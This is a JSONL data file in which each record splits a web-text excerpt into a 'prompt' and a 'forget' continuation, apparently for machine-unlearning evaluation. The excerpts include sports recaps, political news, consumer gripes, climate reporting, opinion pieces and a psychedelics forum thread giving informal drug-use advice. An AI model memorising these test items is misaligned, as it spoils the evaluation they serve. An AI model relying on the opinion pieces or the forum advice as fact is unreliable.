{"prompt": "Your Minnesota Vikings are the 2015 NFC North Champions. AND IT WAS NEVER IN DOUBT! OK maybe a little bit in doubt. Like \"took ten years off my life and I'm still kind of shaking as I write this\" in doubt. In a way this final game at Lambeau was a perfect microcosm of the 2015 Minnesota Vikings season. The offense would look efficient and dangerous for spurts but then disappear for stretches thanks to poor blocking and inconsistent quarterback play. The defense was the backbone of the team and capitalized on their opportunities. And just when things started looking", "forget": "bleak and you thought it was going to be \"the same old Vikings\" all over again, they rallied and came away victorious. Like the rest of the season, it wasn't always pretty. But in the end, the Vikings persevered and won the NFC North. And that's a really nice thing. Now this really big team gets a home playoff game comin' with no road trip strings to start a quest for some really big rings. What a time to be alive. Cause I got a really big team And they need some really big rings They need some really nice things Better be comin' with no strings Better be comin' with no strings We need some really nice things We need some really big rings I got a really big team Man what a time to be alive You and yours vs. me and mine Are we talkin' teams? Are we talkin' teams? Oh you switchin' sides? Wanna come with me? Onto the NFC NORTH CHAMPION stocks! Blue Chip Stocks Everson Griffen. Griff was an absolute beast tonight. He was always causing trouble and drawing lots of attention. (And getting held by Josh Sitton on every other play, but I digress.) Griffen racked up six total tackles, two sacks, and was also the catalyst for the game's biggest play, an Aaron Rodgers fumble returned for a touchdown by Captain Munnerlyn. On a defense full of players that shined bright on Sunday night, Griffen's star outshone them all. Xaiver Rhodes. Rhodes certainly has a penchant for finishing off seasons in style. After an amazing finish to the 2014 campaign, Rhodes has been up and down for most of this season. On Sunday, the Rhodes were definitely closed. He defended a lot of potential big plays and chose an excellent time for"}
{"prompt": "Mitt and Ann Romney were the only guests on Fox News Sunday today. During a mostly lapdog interview, Wallace asked a few tough questions, including about those infamous \u201c47%\u201d remarks \u2013 which Romney said he regretted. And yet he did not apologize to anyone he may have offended. Even more telling, when asked about his remarks, shortly after the campaign, that President Obama won because he gave away \u201cfree stuff\u201d to his \u201cbase coalition,\u201d Romney replied, \u201cObamaCare was very attractive, particularly to those without health insurance.\u201d Oh, and Romney also suggested he didn\u2019t mean it when he said he\u2019d turn", "forget": "down $10 in spending cuts if they included $1 in tax hikes In Part One, Ann Romney said about losing the election: It was a crushing disappointment. Not for us. Our lives are going to be fine. It\u2019s for the country. \u2026The dream was to make a difference. The dream was to serve. And yet there was a certain lack of \u201cservice mentality\u201d in Mitt Romney's reflection on the \u201c47%\u201d comments. Wallace played the video in which Romney was caught saying, \u201cThere are 47 percent who are with him (Obama), who are dependent upon government, who believe they are victims, who believe that government has a responsibility to care for them.\u201d Then came the following exchange, as per the Fox News transcript: WALLACE: George Will said you\u2019ve got a problem when voters don\u2019t like you. You\u2019ve got a real problem when voters think you don\u2019t like them. MITT ROMNEY: Yes, it was a very unfortunate statement that I made. It\u2019s not what I meant. I didn\u2019t express myself as I wished I would have. You know, when you speak in private, you don\u2019t spend as much time thinking about how something could be twisted and distorted and\u2014and it could come out wrong and be used. But, you know, I did. And it was very harmful. What I said is not what I believe. Obviously, my whole campaign\u2014my whole life has been devoted to helping people, all of the people. I care about all the people of the country. Here's what troubles me: Romney said it was \u201cnot what I meant,\u201d it was \u201cunfortunate\u201d and \u201charmful\u201d (I believe he meant \u201charmful\u201d to his campaign). It was all about him. He never said he was sorry or anything to suggest he actually likes those voters he insulted. He \u201ccare(s) about all the"}
{"prompt": "Four reasons the updated Uber Dubai app makes us sad By Mike Priest Double charges, secret surges\u2026 Uber, your app is bad. Late last year, ride-hailing company Uber updated its app in an effort to make it even easier for customers to book one of its cars. The update added a number of new features, including the ability to schedule rides in advance, as well as providing up-front fare estimates. However, just like the sickly sweet smell of a newly opened car air freshener, not everything was as rosy as it seemed. While the app also received a much needed", "forget": "facelift, some of the core functionality that users enjoyed was either buried behind a mess of design-driven decisions, or had been removed entirely. So, after months of botched bookings and frustration, we can stand it no more! Here are our top four gripes with the Uber app: 1) You can\u2019t book an open-ended trip One of the perks of the original Uber app was the ability jump in any of its cars and venture off into the Dubai streets to wherever took your fancy. A super handy feature in a city where roads and landmarks are constantly changing, giving Google Maps a tough time at playing catch up. The app now requires that you enter a definite end-point to your journey, making it incredibly difficult in those instances when you\u2019re trying to get to your mate\u2019s place and all you have for directions are a vague take the third left after the second Mosque once you hit Al Wasl Rd. Similarly, if you want to hail an Uber to help you collect something and then return home in the same car it is tricky to do as you can\u2019t specify a round-trip as a destination. 2) The surge pricing indicator is tucked away Surge prices are the scourge of the avid Uber user, always at their peak during daily prayer times, commuting rush hours or Friday brunches. Either they run the risk of doubling your fare during peak hours, or making you late as you impatiently wait for them to drop below 1.1x so you can avoid paying even a single fil over the going rate. Uber must clearly have caught on that its users aren\u2019t fans of elevated surge pricing as it now hides away any notice of it in the tiniest font possible, only notifying you when asking"}
{"prompt": "Please read this post carefully: if you post wrongly your post will be removed, if you repeatedly post wrongly you may be permanently barred from posting in this thread. This thread is for Psychedelic Veterans to post their personal advice to Novice Trippers. It is not a thread where you ask advice, or debate things, this is a thread containing just advice from trippers who've been around the block and want to help beginners avoid pitfalls and seize golden opportunities that might not be obvious to them. Quote: POSTING RULES: 1) Only post in this thread when you have more", "forget": "than 5 years tripping experience AND have had more than 10 trips in that time period. 2) Start the post by stating the approximate number of years you trip and how many trips you estimate to have had. If you don't do this, your post may be removed immediately as we do not want speculation but actual veteran advice from actual veterans. 3) Proceed to give your advice. You may make multiple posts throughout the thread if you have more advice to share, but start it off by stating your 2) experience level every time. 4) DO NOT reply to posts, do not ask questions, simply state your experience level and advice - or stick to reading the thread only. Reply and question posts will generally be removed. 5) These rules are simple; repeat offenders may be barred from posting again in this thread, this will be permanent. Veterans, lets help out some newbie trippers -------------------- CLICK ONE --> SEARCH ENGINE SUPPORT TICKETS STORE SPONSORS/VENDORS AMANI PSYCHOSIS, SYNCHRONICITIES, SHAMANISM & THE SUPERNATURAL WA&F Unite, Shroomerite! Agree and Disagree both would benefit from a better Shroomery. Post Extras: 1. Relax 2. Never forget that what is happening is temporary 3. Relax 4. It is normal for your face to be sore from smiling insanely for 8 hours 5. Relax 6. Although there is tremendous uproar behind your eyes most people can't tell. Trippers can tell when somebody is tripping but most people cannot. 7. Relax Experience level: over 40 years and well over a hundred trips -------------------- Edited by zappaisgod (05/17/14 06:29 PM) Post Extras: EXPERIENCE LEVEL: I have tripped since 1993 until now, during which time I had probably a couple hundred psychedelic sessions and several hundred doses. ADVICE: First and foremost, \"Fools Go Rushing In\". Psychedelics, even in small"}
{"prompt": "After the success of the K0, thanks to Dick Mann\u2019s efforts at the Daytona 200 on the Honda CR750 racebike, Honda released the K1 in 1970. Between 1970 and 1971 Honda rolled a staggering 77,000 K1s out of their factory to meet demand. Thanks to a lack of worthy competitors they had market share and took full advantage of it. he K1 varied little from the K0 aside from a new throttle cable setup (push/pull 2 cable configuration) and smaller side covers. This \u201971 Honda CB750 K1 cafe racer is currently available for purchase at New York\u2019s \u2018Northeast Sportscar\u2018. It", "forget": "is to me the embodiment of what a true cafe racer should be. Stripped of anything unnecessary, unashamedly raw and visceral and created for the sole purpose of good times on two wheels. At the heart of the build sits a re-tuned inline four built for speed and reliability. Not wanting to veer too far from the engines original configuration the carbs are original, cleaned and tuned to suit the increased airflow from the Lynx filter cages and their red Uni-filter innards. Although it\u2019s a mystery what internal modifications have been made we\u2019d suspect an increase in capacity and compression due to the addition of an oil cooler and the externally mounted Cycle X oil filter. The electrics have also been suitably upgraded thanks to a Dyna S ignition conversion and spark comes via a Cycle X power arc coil. Managing the transfer of power to the rear wheel is an EBC clutch with performance springs, and the noise coming from the back bike can be attributed to a custom made 4-into-1 exhaust that\u2019s been coated in sinister matte black. Other performance improvements include rebuilt forks, drilled brake rotors and Avon rubber. Koni shocks keep the rear end in check while a steering damper ensures that the front end runs true. For a classic cafe racer riding position, clip-on bars have been perched on the fork legs and the top clamps been shaved clean. Dime City Cycles rear set footpegs position the rider\u2019s feet accordingly and the dash has been reduced to a single speedometer. After shortening, bracing and de-tabbing the frame it\u2019s been fit with custom Dunstall style bodywork. The 2 filler, fibreglass fuel tank doubles as an oil tank thanks to some clever fabrication. Pillion passengers are a no go on the bike\u2019s suede saddle and the duck"}
{"prompt": "If you wonder why so many members of Congress are in denial when it comes to climate change, follow the money. This week, Forecast the Facts and SumOfUs, two grassroots groups working to sway public opinion about global warming, took a step toward holding legislators accountable with the release of a new report exposing the companies that since 2008, according to FEC data compiled by the Center for Responsive Politics, have bankrolled the \u201cClimate Denier Caucus\u201d to the tune of $641 million in campaign contributions. Many of these companies claim to be working to fight global warming, even as their", "forget": "dollars help send climate change \u201cskeptics\u201d to Capitol Hill. The report not only names names, but also highlights the apparent disconnect between political spending and corporate public relations efforts. Google CEO Eric Schmidt told an audience that gathered to laud the company\u2019s efforts to build \u201ca better web that is better for the environment\u201d that \u201cyou can lie about the effects of climate change, but eventually you\u2019ll be seen as a liar.\u201d At the same time, the company whose motto is \u201cdo no evil\u201d has kicked in almost $700,000 for Congressional climate deniers since 2008. That was far less than the $3.3 million AT&T has showered on the science deniers in that same period, a figure that represents \u201cmore than 25 percent of its total campaign funding\u201d during that time. The company\u2019s Climate and Carbon Emissions Policy says that AT&T is \u201ccommitted to operating in an environmentally responsible and sustainable manner \u2026[and] to working with our suppliers to limit environmental impacts and greenhouse gas emissions in our supply chain.\u201d UPS promises its customers that the company \u201cwill be part of the solution to discover more opportunities for improvement with our industry partners and other thought leaders. It will take determination and collaboration\u2026to create a sustainable transportation infrastructure that will minimize environmental impact.\u201d But that ethos didn\u2019t spill over into their campaign spending \u2014 since 2008, UPS has donated close to $2 million to the campaigns of climate change deniers on Capitol Hill. Other companies that made the list despite \u201cstrong rhetorical commitments to climate action\u201d include Microsoft, Ford and eBay. The study doesn\u2019t capture all of corporate America\u2019s support for the anti-science caucus; the authors point out that the report doesn\u2019t include \u201ccontributions from corporate-friendly advocacy groups, such as the Club for Growth, which has given $3.7 million to climate"}
{"prompt": "Disclaimer: This is an opinion piece. I understand everyone has had different experiences with parenting. This is a post trying to raise awareness of the struggles single dads go through. Discrimination against dads as legitimate parents has been going on too long. Coming from someone who was raised by her dad from the age of 12, I know how amazing dad\u2019s are, and they do not get enough credit. Dads come in all shapes and sizes, big, small, short, tall, fat, skinny, all races, gay, straight, transgender, and we love them all. This post is to raise awareness about the", "forget": "special hardships dad\u2019s go through to help their kids. Often with no thank you or appreciation in sight. Men are twice as likely to commit suicide than women. This is due to many different factors, however the pressure dads have on them, some of them not even being able to see their kids, surely contributes to this horrifying statistic. Dads are often at the mercy of the child\u2019s mother. She dictates when he can see them, how long for, what they can do, how she parents and for the dad to stick to her rules. This gives the child a one-sided view and delegitimises the father\u2019s authority, and right to be his own person and parent to the child. Due to this, mother\u2019s often forcibly create a wedge between the father and child. The child hears the mother\u2019s complaints about the dad, while the dad has to hold his tongue about how he may have been hurt from the mother, because he may have all visitation rights taken away. However mother\u2019s can basically shit-talk a child\u2019s dad with no real consequence to themselves. This hurts the child, and confuses them, because as they get older and understand more, they do not know who to believe. There are so many problems that are individual to fathers who are no longer in a relationship with the mother. Some of these are: How people described as \u2018deadbeat dads\u2019 to their kids may have been emotionally abused by their child\u2019s mother, so they had no choice but to leave and leave all relationships behind for their own wellbeing. We don\u2019t even know dads. We hear most things about dads from mums or from children. Dads points of views are important to hear, and when we do hear it, we need to listen \u2013 this"}
{"prompt": "The view from Mount Sunflower, Kansas\u2019s highest elevation. (Image: CC0) Geographer Jerry Dobson had barely started his new job at the University of Kansas when a realization hit. Whenever he told friends and colleagues about his gig, people would smile, congratulate him, the works. But then, almost inevitably, they\u2019d make some crack about his new home state: specifically, how flat it was. Over his years-long tenure, this did not change. \u201cEverytime you meet someone, they say it\u2014and it\u2019s not true,\u201d he says. \u201cI always looked around and saw hills.\u201d But Dobson is a geographer, able to translate this frustration into", "forget": "motivation. A few years ago, he and his colleague Joshua Campbell\u2014a born and raised Kansan\u2014undertook a project. They set out to measure the flatness of every state in the union, using an algorithm designed to calculate how flat each one looks from different points in its interior\u2014what Campbell calls \u201cthat feeling of total flatness.\u201d When they got the results back, Kansas was in a respectable seventh, behind Delaware, North Dakota, and the clear winner, Florida. Since then, Dobson and Campbell have toured their results around, using them to argue against the flat-Kansas mythology. Bluff along the Salt Fork of the Arkansas River. #gyphills Photo by @flinthillsboy Use #kansasaintflat to be featured A photo posted by Kansas (@kansasaintflat) on May 31, 2016 at 7:25pm PDT So how did Kansas get this reputation? Andy Stuhl, a musician who recently moved there by car, bets it comes from East Coast road-trippers, who spill out onto the plain after miles and miles of woods. Sam Huneke, a historian who grew up in Lawrence, points to a lack of particularly large hills, but insists that \u201cthe day-to-day experience is not one of flatness.\u201d What is clear is that, like Dobson, they don\u2019t much like it. \u201cOf course it affects our reputation,\u201d says Kelli Hilliard of the Kansas Tourism Board, pointing towards efforts to change that, like a set of scenic, rolling byways, and an Instagram account called \u201ckansasaintflat.\u201d But Branden Rishel, a Washington-based cartographer, has a different, more radical idea: If everyone already thinks Kansas is flat, why not lean in? Why not just make it flat\u2014totally, completely flat? Rishel is very familiar with the Kansas flatness question. He was a student of Mark Fonstad, a Texas State geographer who, in 2003, set out with some colleagues and a laser microscope to determine which was"}
{"prompt": "F ancy cars have always been an important element in rap music. You can find many articles online talking about what cars rappers love the most, but they all lack the research, running their mouth with no backing evidence. Is rappers\u2019 preferred ride Cadillac, Mercedes, Bentley, or Ferrari? Let\u2019s turn to data science to settle this debate once and for all. By analyzing all lyrics on Rap Genius , we\u2019ll see which rides have been celebrated the most. Check the results... Digging deeper to look at songs released throughout the years, the following is a time series analysis to see", "forget": "which makes have gained popularity and which have lost favor. An interesting correlation here is a dip for some of the most frequently mentioned luxury car makes around 2008, 2009 financial crisis. Shout out to Johnny McNulty at Someecards who have some interesting analysis around the trend\u2019s correlation with economy here . As seen from the chart, the most frequently mentioned car make is Mercedes Benz. Rappers love to rap about their benzes, but they rarely mention what models. If we get down to the specific model that\u2019s most frequently mentioned, there\u2019s no debate \u2014 it\u2019s the Chevy Impala, most specifically the \u201964 year model. The chart above is an overall view. We\u2019ll break it into several categories in the following: Top 3 Makes There were more mentions of Cadillac relative to Chevrolet between 1997 to 2006, but the trend inverted since 2007. Benz managed to stay on top most of the time, except between 2004 and 2007 where it was briefly surpassed by Cadillac. Makes Gaining Popularity Over Time The following are makes that have been on an upward trend over the years. Worth noting that Porsche, Ferrari, Maybach, and Bugatti peaked around 2012/2013 but have declined since. Makes Losing Popularity Over Time The following are makes that have declined or maintain the same level of mentions in rap songs over time. Due to the increase in rap songs released over the years, these are makes that are losing popularity amongst the artists. Jeep and Hummer serve similar functions and have very similar levels of mentions across time. Lexus was extremely popular around 1998, but has since lost steam. Endorsements Some major car companies benefit from rappers as endorsers, a task the rappers often take on voluntarily. But who is doing the best job as pitchman? Seeing song mentions"}
{"prompt": "Credit Nitsana Darshan -Leitner of Shurat HaDin (Israel Law Center) and US co-counsel for today's verdict award by Federal Judge Daniels in a case brought against the Palestinian Authority arising from terrorist funding activities during the Second Intifada fomented by the late Yassir Arafat of the Palestinian Authority and the PLO. Newsweek reported: In the first ruling of its kind, a U.S. court has found the Palestinian Authority and Palestine Liberation Organization liable for damages suffered by 10 American families whose relatives were injured or killed in attacks in Israel. The six shootings and bomb attacks in question took place", "forget": "between 2002 and 2004, during the second intifada, or uprising, killing 33 and wounding more than 450. The lawsuit was filed in 2004 and was tried in the U.S. District Court of the Southern District of New York. \u201cThis historic verdict against the defendants will not bring back these families' loved ones nor heal the physical and psychological wounds inflicted upon them but it truly is an important measure of justice and closure for them after their long years of tragic suffering and pain,\u201d Israel-based law office Shurat HaDin, which worked on the case, said in a statement after the verdict on Monday. The plaintiffs argued that the two organizations supported the attacks\u2014whether via direct involvement or assistance in the form of material support or training. They also allegedly paid those who carried out the attacks and continue to compensate perpetrators who were imprisoned as well as the families of those who died. Since the plaintiffs are all U.S. citizens, the case was tried in the country under the Antiterrorism Act signed into law by then President Bill Clinton in 1996, which gives American courts jurisdiction over acts of terrorism that harm U.S. citizens abroad. \u201cWe are truly grateful that an American court has heard the evidence against the Palestinian Authority and the PLO and determined that suicide terrorism was indeed their official policy during the Second Intifada,\u201d said the statement from Shurat HaDin sent in an email to Newsweek. It continued: We started out more than a decade ago with the intent of making the defendants pay for their terrorist crimes against innocent civilians and letting them know that there will eventually be a price to be paid for sending suicide bombers onto our buses and into our cafes. The defendants have already been boasting that they will appeal"}
{"prompt": "Critics say the plan will only alienate citizens with ties to Somalia, where the militant group al-Shabab is based. Kenya\u2019s president Uhuru Kenyatta said in a speech on Tuesday (Feb. 16) that his government is thinking about building a prison that will hold those with \u201cviolent and extremist\u201d tendencies to limit their ability to spread \u201cpoison\u201d to other prisoners. \u201cWe will establish a new prison to hold violent, extremist offenders,\u201d Kenyatta, speaking at a graduation ceremony for new prison guards, said. \u201cThe truth of the matter is that we cannot allow them to spread their poison to vulnerable Kenyans.\u201d It", "forget": "was unclear who, specifically, Kenyatta was referring to. But the language he used in the speech suggests that he may have been talking about individuals with alleged ties to the Somali militant group Al-Shabaab. Kenya has been targeted by the al Qaeda-affiliated organization ever since the country sent troops into Somalia in 2011 to help defeat the group and secure the country for the government. Several high profile attacks by the Shabaab, including at a high end mall in Nairobi and a university in the northeast of the country, have killed hundreds of people. Last June, Kenyatta suggested that the situation is forcing Kenya to think of new ways to combat the threat. \u201cWe must accept that we are faced with a new kind of enemy against whom the conventional methods of fighting crime will not work,\u201d he said. \u201cWe have amongst us radicalized youths who appear innocent which makes us believe that they are doing God\u2019s work while they are busy planning evil against other Kenyans in the name of religion.\u201d At the time Kenyatta indicated that his government was going to work with community and religious leaders to protect against such radicalization. But the decision to potentially build a special prison to detain individuals suspected of extremism could portend a new phase of Kenyatta\u2019s administration\u2019s anti-terrorism efforts. It follows another radical idea, yet to be fully realized, of building a wall along the Kenya-Somalia border the government says will keep out the militants. Some analysts compare the proposed prison to the controversial US naval base in Cuba\u2019s Guantanamo Bay where the US government has been holding prisoners suspected of terrorism. They say this approach will only work to exacerbate the already difficult relationship the government has with Kenyans of Somali ethnic origin, a community it cannot afford to"}
{"prompt": "After the first two UFC shows of the year, the talk was about close decisions and controversial judging. After the third show on Saturday night, it was mostly about surprise submissions. Anthony \"Rumble\" Johnson's 86-second knockout win over Ryan Bader in the main event, putting him in the front of the line for a future light heavyweight title shot, was neither a surprise nor a submission. It was impressive given how little time it took Johnson to put Bader away. But anytime Johnson fights, the lights can go out on his opponent at a moment's notice. Josh Barnett losing to", "forget": "Ben Rothwell in a heavyweight showdown was a minor upset, but on its own, wouldn't have been a huge surprise. Barnett losing via submission to Rothwell, well, that's another story. Similarly, Sage Northcutt losing, while not expected by most, was something bound to happen at some point as it would be with almost fighter in the sport. At the age of 19, writing a fighter off based on one loss is preposterous. But the nature of his submission loss opened up some real questions, and ended up after the fact, being the most talked about story on the show. With Barnett, in a 19-year MMA career, he had never tapped out to a submission hold. He did submit in a 2004 fight with Mirko Cro Cop, but that wasn't from a submission application, but a shoulder injury that he couldn't continue fighting with. He had tapped out in pure submission competition, but those losses also came in 2000, and his ground game is ridiculously more advanced today than it was at that point. Rothwell had only used a submission maneuver to win one fight in the last eight years, over Matt Mitrione, and had never tapped out someone at Barnett's level. The main take is that anything can happen in the sport. When someone who is 38 loses, the question is always about whether they should continue. But Barnett was facing someone who now has to be in the discussion for a heavyweight title shot, and was competitive with him the entire way until the shocking finish. There was nothing in the fight that said that if they were rematched, Barnett wouldn't have a good shot of winning. Barnett won the first round on all three scorecards, and simply left himself open on a takedown attempt. For Northcutt, the situation"}
{"prompt": "Yesterday China announced that by 2017 the country will launch the world\u2019s largest carbon trading market. This is huge news, and many outlets wrote about it, including Mother Jones: China Says It Will Start the World\u2019s Biggest Carbon Market by 2017. This is a well written article, and I\u2019d suggest to anyone to read it, but there is a line in the article that made me stop and twist my head a bit. From the article: \u201cAnd cap-and-trade will be just one part of a wide-ranging agreement announced between the two countries, building on a breakthrough deal forged by President", "forget": "Obama and President Xi last November in Beijing, in which China promised to finally start to taper its coal use.\u201d [emphasis added] Finally. Collective action problems like decarbonization create the constant temptation to believe that others are being worse actors than ourselves. I don\u2019t believe that the author of this piece was consciously attempting to promote such an idea. However I do think this shows how memes with weak foundations, but comforting implications, persist in our public discourse in subtle ways. What is the actual state of China\u2019s coal use, and how does it actually compare to other countries, particularly the US? Take a look at the data: Source: Wolfram Alpha [1] China\u2019s per capita coal consumption only reached parity with US levels for the first time in 2012. And in case anybody is thinking that things may have changed substantially in the last couple years (beyond the range of Wolfram Alpha\u2019s dataset), here\u2019s the latest snapshot (2014) [2, 3]: 2014 per Capita Coal Consumption China: 2.53 t / person year US: 2.59 t / person year China needs to reduce it\u2019s coal consumption dramatically, as many countries do (see Addendum data below). Nonetheless, China\u2019s level of consumption is not out of line with US or other countries\u2019 levels - while undergoing the most rapid period of economic development of a country in human history [4]. In contrast, the US consumed at a rate of >3 metric tons per person year for the entire period of 1984\u20132008, a level that China has never reached (and hopefully will not). Regarding China\u2019s announcement, on its face it is a serious step forward \u2014 but as with any cap-and-trade system, much depends on the details. What level will the emissions cap be set at, and what will be the schedule for reduction of"}
{"prompt": "Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Feb. 25, 2015, 2:29 PM GMT / Updated Feb. 25, 2015, 7:09 PM GMT FOUNTAIN HILLS, Ariz. \u2014 If words like UFO, extraterrestrial, crops circles and abductee have ever piqued your paranormal interest, do yourself a favor and head to the International UFO Congress. The annual conference\u2014which holds the Guinness record for being the largest convention dedicated to unidentified flying objects\u2014takes place in the picturesque desert town of Fountain Hills, and this year it ran from Feb. 18 to 22. It\u2019s", "forget": "worth noting that Arizona is known as a hotbed of activity when it comes to sightings. Thousands flock to the annual event, which is produced by Open Minds, a paranormal research organization. Each attendee has his or her own reason for being there. My goal was to find out if modern science and technology have changed the game when it comes to UFO sightings and evidence gathering. \u201cA lot of people think, go to a UFO convention, it\u2019s going to be tinfoil hats, but that\u2019s not what this is. We have NASA astrobiologists speak, scientists, high-ranking military officials, the works. I mean, there\u2019s a lot of really credible people covering this subject,\u201d said UFO Congress co-organizer and paranormal journalist Maureen Elsberry. When attending a UFO conference, the best approach is to come in with an open mind, ask lots of questions and talk with people about why they are there. Everyone has a story, from the speakers to the attendees, and even the vendors (some of whom double as ufologists). The highlight of this year's conference was undeniably the speaker series, and it was standing room only to see one man, Bob Lazar. Lazar first spoke out in 1989, claiming that he\u2019d worked as a government scientist at a secret mountainside facility south of Area 51\u2019s main site, where he saw remarkably advanced UFO technology. Critics have sought to discredit Lazar, questioning his employment record and educational credentials. During the conference, George Knapp, an investigative TV reporter in Las Vegas who broke the Lazar story in '89, led an onstage question-and-answer session with Lazar, who discussed the work he did at a place called S4. Lazar spoke in detail about the alien UFO hangars and UFO propulsion systems he was allegedly asked to reverse engineer, and even loosely sketched them"}
{"prompt": "Record high CO2 emissions delay global peak 2 2 2 In 2017, CO 2 emissions from fossil fuels and industry are projected to grow by 2% (0.8% to 3%). This follows three years of nearly no growth (2014-2016). (GDP to rise 3.6% according to IMF figures). emissions from fossil fuels and industry are projected to grow by 2% (0.8% to 3%). This follows three years of nearly no growth (2014-2016). (GDP to rise 3.6% according to IMF figures). Global CO 2 emissions from all human activities are set to reach 41 billion tonnes (41 Gt CO 2 ) by the", "forget": "end of 2017. Meanwhile emissions from fossil fuels are set to reach 37 Gt CO 2 - a record high. emissions from all human activities are set to reach 41 billion tonnes (41 Gt CO ) by the end of 2017. Meanwhile emissions from fossil fuels are set to reach 37 Gt CO - a record high. China's emissions are projected to grow by 3.5% (0.7% to 5.4%), driven by a rise in coal consumption (GDP up 6.8%). India's emissions are projected to grow by just 2 % (0.2% to 3.8%) - down from over 6% per year during the last decade (GDP up 6.7%). US emissions are projected to decline by -0.4%(-2.7% to +1.9%), with coal consumption projected to rise slightly (GDP up 2.2%). EU emissions are tentatively projected to decline -0.2% (-2% to +1.6%), a smaller decline than the previous decade (GDP up 2.3%). CO 2 emissions decreased in the presence of growing economic activity in 22 countries representing 20 per cent of global emissions. emissions decreased in the presence of growing economic activity in 22 countries representing 20 per cent of global emissions. Renewable energy has increased rapidly at 14% per year over the last five years - albeit from a very low base. Atmospheric CO 2 concentration reached 403 parts per million in 2016, and is expected to increase by 2.5 ppm in 2017. -end- Related Climate Change Reading: Global carbon emissions are on the rise again in 2017 after three years of little-to-no growth, according to researchers at the University of East Anglia and the Global Carbon Project.It was previously hoped that emissions might soon reach their peak after three stable years, so the new projection for 2017 is an unwelcome message for policy makers and delegates at the UN Climate Change Conference (COP 23)"}
{"prompt": "Voters cast their ballots at a polling station during general elections in Jaunmarupe on October 4, 2014 (AFP Photo/Ilmars Znotins) Riga (AFP) - Latvia's ruling centre-right coalition led by Prime Minister Laimdota Straujuma scored a resounding majority in Saturday elections overshadowed by alarm over a resurgent Moscow and a Kremlin-allied party popular with the country's sizeable Russian minority. An exit poll by the SKDS agency gave three parties in her coalition 63 seats in the 100-member parliament, while their Kremlin-allied leftist rival took 23. \"This is a vote of confidence in (Straujuma's) Unity party and in the coalition... it means", "forget": "people want us to continue our work,\" parliamentary speaker Solvita Aboltina and Unity party chair told Latvian public broadcaster LTV. Unity scored 25 seats while its coalition partners National Alliance and the Greens and Farmers scored 19 seats each respectively, according to SKDS. Nils Ushakovs, leader of the Kremlin-allied leftist opposition Harmony Party -- which exit polls showed came second with 23 seats -- called the result \"positive\" but told LTV \"we shouldn't rely on exit polls.\" \"This is more of the same coalition, but it's slightly changed in the balance of power and that makes Unity more powerful,\" University of Latvia Professor Ivars Ijabs told AFP. \"The probability that we will see someone other than Straujuma as prime minister is quite high,\" he added. It was not immediately clear whether President Andris Berzins would ask the 63-year-old Straujuma, a pragmatic technocrat, to form a fresh coalition government. Analysts in Riga believe Berzins could tap her Unity party colleague, outgoing EU development commissioner Andris Piebalgs, for premier as Latvia is poised to take over the European Union's rotating six-month presidency in January. - Geopolitical jitters - Russia's annexation of Crimea and meddling in eastern Ukraine have sent shudders through this NATO and eurozone member of two million people where many retain vivid memories of the Soviet occupation that ended just a quarter-century ago. With Europe now in its worst standoff with Russia since the Cold War, many Latvians fear Moscow could attempt to destabilise its Soviet-era Baltic backyard. Straujuma has called for more NATO troops and extra air patrols in the region and the alliance has responded with increased troop rotations and exercises. Casting her ballot near Riga on Saturday, she slammed Ushakovs who recently said that given the choice of Russian politicians \"the best thing possible right now is"}
{"prompt": "Anthem Blue Cross should reimburse California man for transplant, jury says The insurer had refused to cover the liver surgery after Ephram Nehme decided to go out of state to face a shorter waiting list. Panelists in L.A. also say Blue Cross should pay Nehme's legal fees. The jury, which included at least three members with Blue Cross medical coverage, voted 10 to 2 that the company breached its contract with Nehme. It voted 9 to 3 that the health insurer acted in bad faith by refusing to pay for the out-of-state operation. The panel deliberated for less than two", "forget": "days. Blue Cross approved Nehme's liver transplant in late 2006, and he was on the waiting list at UCLA Medical Center. But the company refused to pay when Nehme, gravely ill and fearing for his life, decided to have the operation in Indiana, where wait times are far shorter than in California. In addition, the jury ordered Blue Cross to pay plaintiff Ephram Nehme's legal expenses, which could dwarf the $206,000 cost of the transplant. A Los Angeles jury concluded Monday that Anthem Blue Cross should cover the cost of an out-of-state liver transplant that a California man paid for after the insurer balked. \"The message here is that you can't take people's money, promise to protect them, and then leave them to die in their time of need,\" said Nehme's lawyer, Scott Glovsky. At a hearing set for next week, Glovsky said he would seek to broaden the jury's verdict under the state's unfair competition law. He will ask Superior Court Judge Kenneth Freeman to order Blue Cross to allow its California members to pursue organ transplants at hospitals nationwide that do business with its parent, Indianapolis-based WellPoint Inc., the nation's largest health insurer. In a statement, Blue Cross acknowledged \"the jury's determination that Mr. Nehme's transplant should have been approved by Anthem Blue Cross despite the fact that Mr. Nehme's Anthem Blue Cross contract states that transplants must be performed only at California Centers of Excellence.\" \"While we disagree with the jury's coverage determination, we are pleased that the jury did not award punitive damages and unanimously concluded that Anthem Blue Cross did not act with any malice toward Mr. Nehme,\" the company said. A spokeswoman said the company had not decided whether it would appeal. Blue Cross also said it offered to settle the case with Nehme"}
{"prompt": "Robert Cumming / Shutterstock.com I recently sent a letter of complaint by email to Air New Zealand about their policy of treating all male passengers as potential child molesters, and seating them away from unescorted minors. True to the promise of their auto responder, I have received a more personal response. Rather I should say that they have responded with a non response. Following is their email to me and then my response back to them. \u2014\u2013 Dear Mr Elam Thank you for your email regarding your recent flights with us. It was a pleasure to read your comments regarding", "forget": "the excellent standard of service which you received on your flights with us, and that you had an enjoyable stay in New Zealand. It is certainly always encouraging to receive feedback such as yours as it is proof to us that the high standards which we aim to provide are being maintained. However, I am sorry to read of your disappointment in an aspect of our Unaccompanied Minor policy, namely in regards to not seating minors next to male passengers. By way of explanation, Air New Zealand \u2019s internal procedures relating to the seating of unaccompanied minors and young persons travelling alone are as follows: For Crew surveillance reasons, unaccompanied minors and young persons travelling alone are normally seated together in the rear of the aircraft and next to the crew galley. Where possible, a spare seat is kept empty next to unaccompanied minors and young persons travelling alone to be used by the crew where special attention is required. Where a flight is full, we will endeavour to seat a female passenger next to unaccompanied minors and young persons travelling alone. These procedures reflect the approach adopted by leading airlines around the world and have been in place for some time. Mr Elam, thank you once again for taking the time to write in to us. I trust that I have been able to address some of your concerns, and that we may have the opportunity of welcoming you and your wife onboard our flights again in the future. Kind regards, Claire McLister Customer Support Specialist \u2014\u2014- Dear Ms McLister, Thank you for taking the time to respond to my questions, and in such a prompt manner. However, your response would have been much more satisfying had you actually answered my questions rather than just tell me what I"}
